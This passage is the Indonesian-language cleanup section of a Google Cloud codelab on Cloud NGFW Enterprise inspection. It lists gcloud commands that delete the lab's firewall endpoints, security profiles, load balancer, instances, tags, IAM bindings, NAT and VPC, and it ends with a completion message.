gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Pastikan bahwa Cloud NGFW Enterprise telah dihapus dengan menjalankan perintah di bawah:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Hapus Grup Profil Keamanan dan Profil Pencegahan Ancaman:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Pembersihan Penyiapan Dasar

Lanjutkan ke langkah berikutnya jika Anda ingin menghapus resource dasar.

Tentukan variabel lingkungan jika diperlukan. Dari Cloud Shell, hapus komponen Load Balancer Jaringan:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Menghapus instance:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Opsional, lakukan langkah-langkah di bawah jika peran tagAdmin dan tagUsers diubah:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Hapus Kunci dan nilai Tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Hapus Kebijakan Jaringan Firewall Cloud dan pengaitan:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Menghapus Cloud Router dan Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Hapus alamat IP yang dicadangkan:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Terakhir, hapus subnet dan jaringan VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Selamat!

Selamat, Anda telah berhasil menyelesaikan codelab Cloud NGFW Enterprise untuk East-West dan North-South Inspection.